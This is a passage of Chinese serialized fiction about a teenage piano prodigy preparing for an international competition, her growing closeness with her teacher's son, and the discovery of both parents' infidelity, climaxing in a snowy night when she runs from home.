喝完粥,李寻接过空碗,又递给她一杯水和药,“把药吃了,再睡会儿?”
梁初灵乖乖照做。
躺下后李寻帮她关了灯。
“我就在外面,”他指了指客厅,“有事叫我。”
“李寻。”梁初灵叫住他。
他回头。
“谢谢你。”这次说得很认真,还不够,再加一句,“今天是世界末日你知道吗?不知道也没关系,反正我们都活下来了。谢谢你。以后我也会带你离开末日的。”
李寻看着她,莫名想起了自己以前看过的一部漫画。
漫画并不精彩,但里面有一个快活的小孩子,呱呱坠地于人间,漫画一共三十回,她从头快活到尾。
在昏暗的光线里,而这昏暗的光线来自于他身后,所以梁初灵一定能无碍看住他的脸,而自己无法看清梁初灵。
李寻看不清她,却无法抑制想起那个快活的小孩子,不禁想,梁初灵应该也要这样高高兴兴的才对。
所以他这回笑得动态很大,想让她看清晰:“好,先提前谢谢你。睡吧,梁初灵。”
6. 《匈牙利狂想曲第二号》
妈女士从巴黎回来了,旋风般卷进家门,张开双臂,用一种舞台剧女主角的腔调喊:“宝贝!妈妈的缪斯!我回来了!”
梁初灵正从楼上下来,手里还拿着擦琴布的湿巾,被她妈抱住。
“妈,勒死了。”梁初灵瓮声瓮气。
妈女士松开她,捧着她的脸左看右看:“哎呀,是不是瘦了?脸色也不太好。是不是没好好吃饭?张姨!张姨!”
梁初灵拨开她的手:“张姨出去了。我没事。你玩得开心吗?”
“开心当然开心!”妈女士被转移注意力,开始滔滔不绝讲述见闻。
晚饭时,梁父依旧缺席,不需要给理由。
桌上只有母女二人。
妈女士看着女儿依旧胃口好,不免眉开眼笑。妈女士是浙江人,小时候胃口很差不爱吃饭,老人怕养不活,用小刀在她的手掌上割过一刀,挤出来一些淡黄色偏白的东西。
那边的习俗叫做挑肝,是说把这东西挤出来,小孩子的胃口就会变好。
难以诠释这方法到底有没有用,只是后来妈女士再不吃饭,就会被大人威胁:不吃饭那就再去割手。
妈女士吓得开始硬吃。
长大后来到北京读书嫁人、自己为自己做主后,妈女士胃口差的天性又显现。生梁初灵时因为营养不足,还差点有危险。
所以妈女士看着自己女儿从小到大的好胃口,就觉得好、觉得妙、觉得开眉展眼。
梁初灵不负期待,小学有一次钢琴考试,为了凑时长要弹法国组曲,太过难背。背三声部四声部时,左手的声部走向容易记错,导致直接断掉。梁初灵又急躁又愤怒,气得要砸琴,后来老师带她吃了顿新疆烧烤后,立刻平心静气,继续回去背谱。
想到这妈女士又要笑,笑完,看着对面的女儿,她放下了筷子:“初灵,妈妈想跟你聊聊。”
梁初灵没抬头,“聊什么?”
虽然给出问句,但她当然猜得到妈妈想跟自己聊什么,也就猜得到就算自己不回复,妈妈也会把这个话题继续下去。
“家里的事是大人没处理好。让你不舒服了,妈妈知道。上次跟你说的话,你可能觉得妈妈这样不好。”
梁初灵没吭声。
妈女士叹了口气:“宝贝,妈妈首先是你妈妈。不管我这个人怎么样,爱美也好贪玩也好,喜欢买买买也好。这一点永远不会变。”
她伸出手,越过桌面,覆盖在梁初灵的手背上。
“大人的世界有时候很复杂,有很多乱七八糟的线头缠在一起,剪不断理还乱。但那些是大人的问题,不是你的。妈妈不希望你因为我们的矛盾,影响到你自己。”
梁初灵抬起头,看着母亲。
妈女士的妆依旧精致,但眼神里有一种她很少见到的认真,褪去戏剧性的浮夸。
“你的人生才刚刚开始,那么亮又好。别让任何事任何人,成为你翅膀上的重量。你生来就是要飞得很高很高的。”妈女士继续说,语气又恢复了一点跳脱,“你的舞台是世界,不是家里这摊子乱七八糟。你得往前看往上走。这才是正经事!别的有妈妈呢。”
天才不会不自知,但小小的天才踏上舞台,怎会不被家庭影响?换而言之,在这样的环境之下,没被家庭托举的天才很难成为天才。而被家庭托举之后,又怎会不被家庭影响?
人不可能不被影响。
所以梁初灵的理解会被家庭的理解所影响,而家庭的理解会被社会的理解所影响。
一个人的身份认知没有发生改变的话,大脑思考的方式就很难发生改变。人比沙子更轻微,也比玻璃更易碎,也比画布更容易染色,同时还因为她是女性,所以她的路其实比“人”的路更窄。
梁初灵看着妈妈,知道妈妈的话里有安慰,有转移视线,可能还有别的,但希望你好的核心是真的。
而且爸爸如今已经出轨,妈妈只有她了。
“妈妈就指望你养活了,等你成为了你想成为的人,我就一脚把你爸踹了。”
这句话也许妈女士是当玩笑说出,但梁初灵记在了心里。以她现在的水平,想赚钱,开几场独奏会或者接几个代言,来钱又快又体面。但是妈妈说的是要梁初灵成为她自己。以后想去哪里、成为什么样的人。这好难好难。
梁初灵反手握住妈妈的手,点了点头,只能先许一个不那么难的诺:“我知道。我会飞得很高的。”
网上好像流行过“别人关心你飞得高不高,爱你的人却关心你飞得累不累”这句话。
梁初灵嗤之以鼻。
废话,当然累。但关心了我累不累,难道我就不累了吗?
你关心我累不累,反而还影响我能不能飞得更高。
能飞起来的人都累。但这就是需要付出的代价。
我接受、我宣告、我交换、我入场、我征服。
她本来就不是会被打倒的人。
不是会被轻易打倒,而是,就不会被打倒。
梁初灵做好了成熟地去成功的准备。
是的,一个人应当要做好成功的准备,才能真的迎接成功。
这是梁初灵自己的真理。
她相信自己,如此一往无前地相信自己。
所以,当李炽将一份国际比赛的章程推到她面前时,梁初灵心跳平稳,只有期待,像乐章开始前,指挥抬起手时的那种期待。
竞争激烈,来者都是天才,所以舞台足够耀眼。
比赛五年一次,下一次举办就在后年十月份。
明年三月网站的报名系统就会开放。
李炽多说了几句:“对你来说,技术不是问题。你很聪明,我希望你能更聪明。弹钢琴最难的从来不是弹下来,而是处理方式。我希望你能拿第一名。”
梁初灵点头,她明白。
明年三月就要提交录像进行申请。时间很紧。
练习是枯燥且高强度的。
每天晚上睡觉前,她的手都抖得停不下来,索性梁初灵的睡眠质量和她的食量一样优质,抖着抖着也能睡过去。
梁初灵状态其实有点游离,她却已经说不出自己是被什么而影响。明明一切她都接受了不是吗?
她又开始练习一首新的肖邦作品,这次是一首夜曲。
李炽听完:“你在模仿鲁宾斯坦的版本?”
梁初灵确实最近反复在听鲁宾斯坦的录音。
李炽继续“模仿不是坏事,但你不能只停留在模仿。你现在弹的不是肖邦的夜曲,是鲁宾斯坦理解的肖邦夜曲。你自己的理解呢?你想说什么?我希望你能弹得完美。”
这天下午,她在李炽的琴房被引见一位来访的波兰钢琴教授。是李炽自己在美上过课的老师。
李炽让梁初灵弹了她准备的一首肖邦的练习曲。
教授听完鼓了鼓掌,用带着口音的英语说:“非常出色的技巧!令人惊叹的手指机能和控制力!只是音乐听起来有点太正确。缺少了一点大地的气息,肖邦的音乐,是扎在波兰的土壤和苦难里的。”
李炽没说什么,只是让教授先上楼。琴房里剩下师徒二人。
梁初灵站在原地,她没有被打击到,更多的是困惑和不忿。
她弹得哪里不对?
每一个音符她都处理得无懈可击!
“觉得委屈?”李炽看着她。
“我弹错了吗?”梁初灵反问,带着特有的固执。
“没有。技术上你无懈可击,但是你弹得还是不够完美。”李炽平静地说,“音乐不止是技术。他在告诉你,你的肖邦,听起来像个局外人。你在演奏肖邦,而不是让肖邦通过你说话。”
梁初灵拧眉。
这个说法太抽象,在她脑子里晃了一下,却没照亮前路。
完美,这是李炽一直以来对她的要求。
梁初灵终于不解:“什么是完美?为什么您能定义完美?”
李炽笑了看了眼窗外:“很好的问题。梁初灵,我要求的完美,一定是我所定义的完美,是我主观的完美。但是先不必讨论客观是否比主观更高贵。人所需要遵循的,最终都只有自己的主观。尼采说,世上不存在真相,只存在视角。那么,世界上也就不存在客观。我们所谈论的一切标准、规则、正确,都是主观。”
她转回身,再度看向梁初灵:“很可惜,你现在没有能说服我的主观。而我教你的目的,是希望有一天,你能有说服所有人的坚不可摧的属于梁初灵的主观。”
——
李寻今天总算也在,周三晚上那节加课他没来。
梁初灵从李炽处得知是因为他学校有阶段考,他上的不是音乐附中,所以总归要忙一些。
梁初灵的生活轨迹其实很固定,附小附中一路上来,整个世界半径,是以家和琴房为圆心画出。
李寻则不同,他的人生选项里,钢琴是重要的组成部分但并非唯一。
所以,他确实有自己的一套时间规划,像一首结构严谨的赋格,妥帖安排,并行不悖。
李寻正在窗边看外面一棵树,一边活动眼睛一边活动手指,捏他的小鱼际。
这棵树和梁初灵之前琴房外面的那颗不一样,这是一棵黄杨。
宽广高大,漂亮活泼。
两人今天一起上课时,琴房里的气压很低,李炽的要求极端严格。
但梁初灵不反感,甚至觉得有李寻在旁边一起被锤炼,那种备赛的焦灼感反而被分担。
看到他同样在努力攻克难点,看到他因为一个技术片段反复练习直到完美
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,梁初灵心里会生出一种微妙的战友情,以及更多的好感。
她喜欢不耍花架子的用功。
中国的音乐教育严峻,对于手指的技术态度严肃,标准严苛。是一场天赋与努力与资源的三向奔赴。
所以得知李寻也要参赛的时候,梁初灵非常惊喜!她喜欢有明确目标并且为之努力的人。
李寻在她心里,早就不只是李炽老师的儿子,他观察力敏锐,乐感好,她觉得他应该在钢琴这条路上走得更远一点。
艺术的世界又不是只有金字塔尖那零点一的人才配存在,努力追梦的人本身就在发光。
何况,谁说李寻不顶尖呢!
梁初灵走过去,一屁股坐在他旁边,叹了口气。
李寻看着她难得蔫头耷脑的样子,问:“怎么了?”
“灵魂到底是什么?”
李寻说:“你记得我们之前合奏的那首双钢琴作品吗?”
“记得。怎么了?”
“第二钢琴声部里,有几个小节,一直很平稳,突然有一个小小的,不和谐的和弦跳出来。记得吗?”
梁初灵回忆了一下,点点头。
“我第一次视奏的时候,想把它弹弱掩盖过去,让它听起来和谐一点。”李寻说,“但我妈说,不要掩盖它。那个不和谐,就是那一刻音乐里最真实的表情。它不是错误,是作曲家刻意留下的属于那首曲子的呼吸,也是灵魂所在。”
他看向梁初灵:“肖邦需要的是找到属于他的,以及属于你的,呼吸。忘记你在弹伟大的肖邦,试着去感受它们的犹豫、坚定、叹息。”
梁初灵还在消化这个想法,一阵风从窗户吹进,把她放在琴凳上的几张散页谱子吹落在地,有几张滑进了钢琴底下。
“哎!”梁初灵赶紧蹲下去捡。
钢琴底下光线昏暗。她摸索着,手指摸到打印纸,还有一张厚实的纸张。
她把它也捞了出来。
是一张五线谱。
钢笔字迹,是李寻的字。梁初灵认得。
但这谱子她没见过。
旋律线条很特别,开头是几小节漂浮般的单音,然后和弦潜入,像夜色笼罩。中段激动,旋律线挣扎,却又在即将抵达高点时回落,最终归于宁静。
谱子边缘,还有几个中文标注:
“星环。”
“深河。”
“无人知晓的对话。”
梁初灵把所有的谱子,包括那张手稿,一起塞进自己的谱夹,站起身若无其事地跟李寻道别。
反正我已经是个坏人了,梁初灵这一回心态放得平。
回到家,她立刻钻进琴房复现那段旋律。
这首曲子不够正确。和声进行有些地方不符合教科书,结构也随心所欲。但有一种原始的力量,一种未经雕琢的诉说。
不试图去成为典范,只是它自己。
这很完美……梁初灵忍不住想,这真的很完美,是梁初灵认为的完美。
这是李寻写的吗?
昨天是周五,这周的周末课程在周日。
去的时候,梁初灵感觉自己像个特工。
李寻依旧在。
下课后,梁初灵没有走向门口,而是坐到了钢琴前。
李寻抬头看她,以为她还要练习。
梁初灵没有弹肖邦,弹出了一段那张手稿的旋律。
音符响起的瞬间,李寻整个人凝固。
他脸上第一次出现了错愕。
梁初灵弹完一小段,停下来。
她看向李寻,兴奋又笃定:“李寻,这才是你吗?这是你的灵魂?”
指了指钢琴,那架琴是她的共犯。
“你把所有的不和谐所有的冲突都藏在这里了?”
李寻看着她,看着直接得近乎莽撞、永远生机勃勃的梁初灵。
他无法躲藏。
又想起自己想要她高高兴兴,现在她的确看起来十分高兴,那么李寻不想扫她的兴。
于是笑了一下,李寻带着轻松,不在意一般向着梁初灵表达:“对。被小天才发现了。”
“我就知道!”梁初灵几乎要跳起,开始胁迫,“你还有别的对不对?快点,弹给我听!”
李寻走到了钢琴边。只是站着不坐下,按下音符。
一段与刚才那段的温柔不同,带着更多探索性的乐句流淌。
不如梁初灵弹得流畅辉煌,但情感的真诚构筑起一个动人的世界。
梁初灵屏住呼吸。
她很少在听钢琴曲的时候走神。但此刻她走神,因为她听到了李寻在对她表达。
他在向她展示那个赤裸的自我,而她是第一个也是唯一一个听众。
这是一场无人知晓的对话。
7. 《悲怆奏鸣曲》
梁父时隔多日,终于再次踏进家门。带着热情。
妈女士也配合得天衣无缝,笑意盈盈迎上去,接过他根本没打算脱下的外套。
“哟,太阳打西边出来了?”妈女士带着点揶揄的亲热,“我们梁大老板还记得家门朝哪边开呢?”
梁父呵呵一笑,把公文包递给张姨,神态自若:“说的什么话,这不是想你们娘俩了嘛。”走过来揽了下妈女士的肩。
晚餐桌上,罕见凑齐三个人。
父母两人你来我往,谈笑风生,从合作项目的进展,聊到近期股市波动,再到妈女士在巴黎的见闻。
话题丝滑流转,气氛融洽得如同最恩爱的夫妻。
仿佛之前那些网址照片和沉默,都只是梁初灵做的一场噩梦。
梁初灵埋头吃饭,她心里拱着火,但按捺着,只是用筷子把一根青菜戳得千疮百孔。
感觉自己是观众,看着台上两位主演卖力演出,却只想提前离场。
可两个只有谈到孩子才有共同话题的大人,怎么会不把话题绕到孩子身上呢。
梁父开口:“初灵,你李老师那边最近怎么样?我听说那个什么比赛你要去?”
“嗯。”梁初灵从鼻子里哼。
梁初灵在李炽那儿上课本身就值得一场新闻,梁父知道这事儿太正常。
李炽声名远扬,梁父想借东风。
“好事,拿个奖回来,履历上多一笔,到时候跟唱片公司谈分成也更有底气。”梁父笑容满面,却又话锋一转,“你是又有去柯蒂斯的想法?但十三岁十四岁,那才叫神童,轰动效应最大。你当时不去,现在兜兜转转又想去了?你这不是浪费时间吗?”
梁初灵没抬头,无语:“我不当神童好多年。”
梁父没管,继续分析:“要我说,现在去读书,纯粹是走弯路。你应该立刻签约唱片公司,开启全球巡演,名气、地位,唾手可得。然后趁着这股东风,开始创作,写出属于你自己的传世名作。这才是你该走的路,读书?读书能给你带来什么?那些教授,有几个能有你现在的成就?”
梁初灵对于这番话并不陌生,实际上要不是李炽名气实在太大,她去那里上课梁父都觉得没必要,觉得纯属浪费时间。
真是难以沟通的疲惫。梁初灵只能说:“我不想要那样。”
梁父真正不解:“那你想要什么?你告诉我,你现在去柯蒂斯,和十三岁去,有什么区别?既然终点一样,为什么非要绕一圈?这不是脱裤子放屁吗?”
“有区别啊,十三岁,我进去,她们是收一个神童。但实际上柯蒂斯要的不是神童也不是学生,是成型的艺术家。我不想被当成孩子了。”
三句话的主语其实都不同,重点也不同。
梁初灵自己也解释不清自己在说什么,也解释不清区别,解释不清关于在音乐世界里作为一个个体的完整站立。
所有人都觉得她应该立刻马上,踩着天才少女的光环,空降费城。
只有梁初灵自己不这么想。
不需要去占年纪小这个名号。
她需要的是,自己一走进去,她们就把自己当成一个成熟的钢琴家来对待,用最高的标准。
现在进去,她们看到的可能还是有潜力的孩子。
我不想再当孩子——
梁初灵笃定。
她笃定自己不想。
如她笃定不需要依赖先天优势,后天训练同样能达到顶尖水平。
如她没有现在学琴的人几乎人手一个的绝对音感,可靠着后天训练出来的固定音高概念,靠着记忆和逻辑推断,依然能达到一样的表现能力。
不影响她弹琴,不影响拿奖,不影响理解音乐,不影响知道自己能走到哪里。
这有什么问题吗?
“还有创作,我根本不会创作啊。这又不是有名气就能出来的。它需要广阔的视野和深厚的根基。也需要沉淀。”梁初灵企图螺蛳壳里做道场。
“你还要沉淀什么?你的技术不是连李炽都挑不出毛病吗?央音请你去开大师课,国际比赛请你去当评委,这还不够?你还要怎么证明自己?”
梁初灵没有企图了,语言到达了边界。
想起不知道谁说的,当语言到达了边界,那就是音乐的开始。
她本来就不善于辩论,还不如让她弹一首呢……
她只是重复:“我不想再被当成孩子。”
妈女士一直安静听,慢慢挑起一个带着骄傲的笑容。此刻轻轻拍了拍丈夫的手臂,语气调侃:“行了行了,女儿比我们懂。咱们俩,一个满身铜臭,一个只会臭美,对艺术能懂多少?就别在这儿瞎指挥。她想读书就让她去读,想什么时候读就什么时候读。”
梁父被母女俩一唱一和,有些讪讪,没再坚持。
像是为了弥补刚才的失言,吃完饭后梁父拿出一个奢侈品纸袋,推到梁初灵面前。
“爸爸给你带的礼物,一条围巾,天气冷了。”
梁初灵看着那个袋子没动。
妈女士笑着打圆场:“我们宝贝长大了,知道爸爸心意就好。”
梁父催促:“打开看看喜不喜欢?”
梁初灵在父母的目光下,伸手拿过纸袋。
包装很精美,拆开丝带,打开盒子——
里面不是围巾。
是一套女士内衣。
黑色的蕾丝泛着暧昧。
空气凝固。
梁父脸上的笑僵住,明显慌乱。
这不可能是拿错了给妈女士的礼物,送给妈女士的那只新包,此刻正被她随意放在地上。
这套内衣是送给谁的,答案呼之欲出。
妈女士的脸色也白了一下,仅是一瞬。
她立刻伸手,盖上盒子,脸上挤出娇嗔:“哎呀!你这人!怎么偷偷给我买这个!还当着孩子的面!真是的!”
试图把这场荒诞剧继续演下去。
但梁初灵没给她这个机会。
一把从母亲手中抽回那个内衣盒,转身就冲出客厅跑出了家门。
冬夜寒冷的风像耳光。
她跑到小区里一棵大树下,看着手里那个盒子,想把它撕碎!
梁初灵用尽全身力气,把它扔向了远处的垃圾桶。盒子砸在桶盖上,然后弹落在地,盒子弹开,那套黑色内衣掉出来。
落在草地上,像一块疮。
她爱惜手,只能抬起脚踹向身边那棵树,脚趾被震疼,眼泪瞬间就涌了出来。
一个愚蠢的泄洪口,眼泪糊了一脸,梁初灵觉得是被自己蠢哭的,她生自己的气:弹琴的手宝贵,踩踏板的脚难道就是铁打的?蠢死!
她蹲下身抱着膝盖,脚好疼。
梁初灵觉得自己好像发烧了,不然怎么会头晕目眩,浑身发冷,脸颊发烫。
是发烧了吗?是发烧了吧?
潜意识里在渴望生病,因为生病了,就可以理所当然去找李寻。
他上次说过,“下次不舒服,可以打电话给我。”
梁初灵犹豫着要不要打这个电话。
一抬头,有点点冰凉落下。
下雪了。
安静的雪花飘洒,落在她的头发上肩膀上,落在前面那套内衣上,用白掩盖黑。
她蹲在雪地里,茫然无措。
“宝贝!”
是妈女士追了出来,跑得有些气喘。
看到蹲在地上的女儿,散落在地的内衣,走过去把内衣和盒子都捡起来重新扔回垃圾桶。然后快步过来。
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>“跑出来也不穿件外套!”妈女士蹲下用力抱住她,双手搓着她的手臂和后背,“跟妈妈回家,今晚跟妈妈一起睡,别怕,别怕啊。”
母亲的怀抱是温暖的,梁初灵心里的委屈决堤,正要靠进去。
妈女士手上拿着的手机屏幕亮了。
备注是一个太阳表情符号,消息内容:”晚安甜心“
妈女士也看到了那条消息。没有丝毫慌张,无比镇定地用拇指锁屏。然后更加用力地抱紧梁初灵。
她继续抱着梁初灵,声音放得更柔:“走,跟妈妈回去。”
梁初灵猛地挣开她的怀抱,自己踉跄了一下。
灯光打在妈女士的头顶上,她呵气如雾,雪花飘落,看起来无比符合一幕剧作的女主角。梁初灵甘居其次,看着对面的这位女主,想到李寻曾对她说的“基因也没什么重要的”,她当时并非全然接受,但此刻深信不疑。
她和她的母亲、她的父亲,如此不同。
科学已经证明她们是有血缘关系的一家人,可是血缘没能塑造梁初灵,却是环境塑造的她。
血缘和环境产生分歧。
梁初灵觉得这是一种很不公平的分歧,就如同李寻没能继承李炽的天赋那样不公平,他能接受和而不同,她却只觉不公。
初中某次妈女士和她去泡温泉,嫌她头发毛糙,拽着梁初灵给她上护发素,护发素上写着只需停留三分钟。没到三分钟,妈女士从容洗去,但梁初灵让其停留了五分钟。
梁初灵的世界充满变量,一切都是她无法预测和掌握的。
因此,在她能控制的领域她要做到极致,通过超额完成来构建一种确定性。
多出来的两分钟,多练习的几小时,上课前预习,下课后复习,都是她为自己增加的安全边际,用以对抗外界可能出现的任何意外和失控。
可生活却是时时刻刻不知如何是好。
女主角一言不发,就像她可以不必解释一样,这也很不公平。
梁初灵只好看着自己的母亲,换她上场,突然也演得无比镇定:“妈,我今晚去同学家里睡,可以吗?”
妈女士看着女儿,沉默了片刻。
雪花落在她们之间。
“好。”妈女士最终只回答了一个字。
她没有问是哪个同学,只是又问:“明天会好好去弹琴吗?”
“会的。”梁初灵回答。
“好。”妈女士再次说道。
梁初灵忍着脚趾传来的痛,转过身,一步一步,走得平稳而笃定。
看,她也是很好的演员。
就这样朝着小区大门外演去。
她没有回头。
雪下得大了,在地上铺了薄薄一层。
她走到小区外的凉亭里,找了个角落坐下。
雪花在亭子外飞舞,世界安静得只剩下落雪声。
屏幕有些模糊。
电话接通得很快。
“喂?”
梁初灵听着李寻的声音,鼻子一酸,强装的镇定土崩瓦解。
她吸了吸鼻子,让自己的声音听起来正常一点:“李寻。”
她看着亭外漫天飞舞的雪花,一片片,洁白,细看却又憔悴。憔悴中又动人,动人中藏着锋芒。是赴死的战士。
突兀想起《悲怆奏鸣曲》
当初弹这首时,研究踏板怎么踩就研究了一个月,那样充满戏剧性的旋律,也会被她们这样的人硬生生拉入生活之中。
这雪花也是何等的戏剧化,整个世界作为布景,天上的另一个世界却毫无声息。
巨人的气概化作雪花,飘零在她的身上。
恍若春天到来。
梁初灵对着春天轻声说,“我好像生病了,我能去找你吗?”
8. 《幻想即兴曲》 没生病可以 随时
“我好像生病了,我能去找你吗?”
梁初灵问完这句话,没等李寻回复,再次开口,这次很愤怒:“你在练琴?!”
她听到了对面的节拍器的声音,耳朵瞬间竖起来,刚才那点自怜自艾和委屈,被一下子冲散了十分!
“李寻!你在琴房?你偷偷努力!”
李寻的声音带着点无奈,透过听筒传来:“没有偷偷。只是晚上没什么事过来练一会儿。”
“练一会儿?”梁初灵不信,“你是不是想偷偷超过我?不行,我也要去练琴!”
她说着就站起来,忘了脚踝的痛。
李寻在那头是真没办法了。
他心想你这生着病还惦记着练琴,是真想面对面练给肖邦听啊?
脑子里想过这句话,立刻用指尖点了点钢琴表面,意为道歉,冒犯冒犯……
“你在哪儿?”他打断梁初灵气势汹汹的控诉。
“我们家小区外面的景观亭。”梁初灵的气势弱了一点,重新蹲回角落,看着越下越大的雪。
“等着别动。我马上过来。”李寻说完顿了顿,“找个背风的地方。”
挂了电话,梁初灵心里的烦躁消退,取而代之的是好胜心。
一点委屈也不肯受,打开手机地图,查看从李炽老师的小楼到这里的位置。
打车预计十五分钟,公交车要半小时。
她又给李寻发了条语音,语气蛮横:“你半小时之内一定要到!不然我就死了!”
刚收拾好东西,准备出门的李寻听到这条语音,脚下一个趔趄,差点被自己绊倒。
死了?这么严重!
听她刚才在电话里嚷嚷的样子,又不太像啊。
这得是生了什么瞬息万变的急病……
李寻不敢赌,抓了把伞,叫了一辆专车。
到得比预计还快些。不到十五分钟。
车停在小区外,他撑着伞走到亭子边,一眼就看见梁初灵。
她穿着家居服,头发被雪打湿了几缕贴在额头上,脸冻得有点白,正百无聊赖地用手指在凳面上画鬼画符。
怎么看,也不像快要死了的样子。
但是看着怪可怜的。
“梁初灵?”
梁初灵抬起头。
路灯和雪光映照下,她的脸确实苍白,眼睛也红。
除此之外精神头好像还行,至少看她的眼神还挺有杀气。
李寻上上下下看了她一遍,没看出什么明显病容。
转念一想,梁初灵向来喜欢张牙舞爪,没准现在难受得厉害,只是强撑着不表现。
长柄伞打在梁初灵头上。
梁初灵个子不矮,幸好李寻也高,撑伞的姿态倒也和谐。
他把伞面倾斜到了她那边,看着亭外飘雪,李寻犹豫了一下,把羽绒服自带的帽子戴上了——
还是有点担心自己生病,毕竟还要练琴。
“走吧,车快到了。”李寻说。
梁初灵跟着他往外走,脚落地时牵扯到痛处,她立刻忍住,装作若无其事。
刚走出亭子,她的目光就被在雪中坚守的冰糖葫芦摊贩吸引。
“冰糖葫芦,”她扯着李寻的袖子嚷,“我想吃那个!”
李寻看着她焕发活力的样,确定她刚才那句“要死了”水分极大。
他把伞递给她:“自己撑着。”
梁初灵看着李寻跑过去买,心里那因为麻烦他而产生的歉意冒头,觉得自己也该表示一下。
于是她也往那边走,深一脚浅一脚地想跟过去,也想为他撑撑伞。
乐极生悲也就罢了,怎么悲极也生悲。
注意力全在李寻和糖葫芦上,没看脚下,一脚踩进了旁边一个结了层冰壳的水洼里。
冰面碎裂,像是猝不及防踏入了另一个世界。
梁初灵低呼,还没完全反应过来——
“抬脚。”
李寻很快买完,已经又跑了回来,立即半蹲下去捏住她小腿。
梁初灵抬起那只脚,李寻转而握住梁初灵的膝窝,在袜子也被打湿之前,把那双家居拖鞋脱了下来。
梁初灵看着蹲在自己面前的李寻,看着他帽檐和肩头的雪花,脑子里冒出一个莫名其妙的念头,脱口而出:“李寻,你好像这洼水啊。”
李寻正准备把她另一只脚也检查一下的动作停下。
他抬起头,眼睛里带着明显的莫名其妙,又有点恼。
恼自己观察不仔细,让她站水坑旁边。
恼自己观察又不仔细,梁初灵刚才走那几步路他才看出来,她右脚一定受伤了,不然怎么走着有点瘸。
恼自己又太仔细,梁初灵怎么能拿自己跟这个伤害了她的水做类比。
什么意思。
刚才李寻听到声音回头,就看到她一只脚陷在水坑里,表情懵懵的,举着伞的样子有点滑稽又有点可怜。
此刻他一言不发,把那只湿拖鞋拎在手里,正准备找地方扔,路过一个打扫落叶的大爷,手上拿着一个转运袋一样的大袋子。
大爷和李寻面面相觑。
大爷严肃:“手上有垃圾想扔怎么办?能随便扔吗?”
李寻摇摇头。
大爷:“那你说应该怎么办?”
李寻:“找垃圾桶。”
大爷:“好孩子。来,扔我这儿吧。”说着把垃圾袋往前伸。
李寻忙把那只拖鞋扔进去。
大爷自觉完成了今日的考问课程,面露满意地走开。
梁初灵看傻,都不知道怎么接话,又觉得李寻应该不会希望自己在这个时候接话,于是闭嘴,高高地撑伞。
李寻让她那只脚先踩自己鞋面上。
梁初灵也乖乖地听指挥。
李寻趁着她注意力在脚上,迅速用手背碰了一下她额头。
一点发烧的迹象都没有。
他心里有了点数,但什么也没问。
叫的车打着双闪停在路边。
从二人站的位置到车门,还有一小段路。
李寻看了看梁初灵,她一只脚穿着拖鞋,一只脚踩在他鞋面上,一只手扶着自己胳膊,一只手打着伞。
实在狼狈。
沉默了一下,问:“你介意我把你薅过去吗?”
梁初灵正在尝试单腿蹦,看看能不能一路蹦过去,努力保持平衡,听到这话瞪大眼睛:“李寻!你能用抱这个字吗?我是个人!”
李寻:“……得。”
算是明白,跟这位小天才讲道理是没用的。
李寻利落地把梁初灵手里的伞收了起来,反正已经基本确定她没生病,掉点雪在头上也没什么大不了的了。
把装那几串冰糖葫芦的纸袋塞进她手里让她拿好。
在梁初灵还没反应过来的时候,李寻一用力直接把她打横抱起。梁初灵身体素质很好,体重不算轻,但看起来李寻的身体素质也很优秀。
梁初灵没忍住还捏了捏李寻胳膊,很有肌肉,她心里翘起了嘴:我胳膊肌肉也不差噢!
决定一会儿自己也抱抱李寻试试。
雨天路滑,李寻被路人不小心撞了一下,梁初灵立刻搂住他的脖子,纸袋打在李寻的后脖颈上,他也没吭声。梁初灵靠近嗅了嗅,闻到他身上淡淡的像是洗衣液混着漆木油的味道。
李寻抱着她朝着车走去。
雪花落在她的脸上,冰冰凉。她没再说话也没再动作,抓着手里的一袋子冰糖葫芦。
司机是个叔,看着李寻抱着个女孩上车,还挺热心肠地帮忙开了车门,脸上带着善意的笑。
坐进车厢,梁初灵才松了口气。
李寻把她放在座位上,自己从另一边上车。
梁初灵看着手里的冰糖葫芦,李寻买的很齐全,山楂的,山药的,草莓的。
李寻系好安全带瞥了她一眼,提了一嘴:“别在车上吃啊,一会儿就到家了,回家吃。”
梁初灵立刻愤愤地反驳:“谁要在车上吃了!我又不是那么没素质的人好吧!”
李寻点点头:“嘿,真棒啊!小天才。”
梁初灵:“……”
拳头硬了。
前排的司机叔听到她俩的对话,没忍住哈哈大笑起来:“年轻人,感情真好哈!”
梁初灵脸一红,扭过头看窗外。
李寻则平静无波。
李寻一路把梁初灵抱回放在客厅沙发上,屋里有供暖,热乎乎的。
在梁初灵强硬要求要抱一下李寻、并且确实抱起来了几秒钟后,梁初灵仰着脖子骄傲撅嘴,而李寻开始怀疑是不是烧傻了。
他去找了双新的毛线袜,放在贴墙的暖气片上烘着。
还是有点不放心,拿了个电子体温计给梁初灵量了一下,确定了没发烧。
“李炽老师呢?”梁初灵问。
“她去上海了,明天回。”李寻一边干活一边回她。
梁初灵这才后知后觉有点不自在。
到了这里,脱离了刚才那种混乱冲动的情绪,她开始感到尴尬。
自己身体上好像确实没生病……
她不是骗人,那会人的确以为自己是生病了。怎么这么不争气呢,她有点怨自己的身体。
尴尬到有点委屈。
现在人见到了,地方也来了,接下来她总不能一直赖在这里。
摸了摸口袋,手机在,身份证没带。
正纠结着,是现在就说告辞,然后拜托李寻用他的身份证帮忙在附近找个酒店开间房,还是……
她的手机屏幕亮了,是微信新消息。
点开一看,发信人是旁边的李寻。
他发来了一张照片。看角度是刚才在车上偷偷拍的。
照片里,她窝在车座角落。
因为踹了树的那只脚很痛,不论怎么摆、只要着地了就都难受,又没力气一直保持不着地。
李寻发现了,索性把她的右腿架在了自己左腿上,不让脚着地。
梁初灵的左腿盘着。
手里拿着冰糖葫芦,表情有点放空,姿态十分豪迈。
李寻配的文字是:天凉王破。
梁初灵盯着那张照片和那四个字,气得牙痒,尴尬被怒火取代。
瞪旁边假装无事发生低头看自己手机的李寻,准备跟他好好理论理论。
在她张口欲言时,一条新消息顶上来。
是妈女士的消息:妈妈永远爱你。
——
在梁初灵踩着李寻的鞋面,被他半蹲着脱掉鞋的同一时刻,她家别墅里,另一场戏码刚刚落幕。
梁父在房间里踱了两圈,终于忍不住,对着敷面膜的妻子发问:“初灵这么晚了,真去同学家了?”
妈女士闭着眼:“嗯哼。”
“哪个同学?男的女的?住哪儿?父母是做什么的?这大晚上的,一个女孩子家,不安全。你心里怎么没谱啊?这么管教小孩的吗?”
妈女士借着面膜遮挡神色,膜布底下的脸上全是厌烦。
她翻了个白眼,语气是罕见的直接:“梁老板,在该关心的事情上不见你多问一句,这种鸡毛蒜皮的破事上你倒有八百个问题。闲的。”
梁父被噎得一口气没上来,脸瞬间沉下来:“你这话是什么意思?我关心女儿还有错了?”
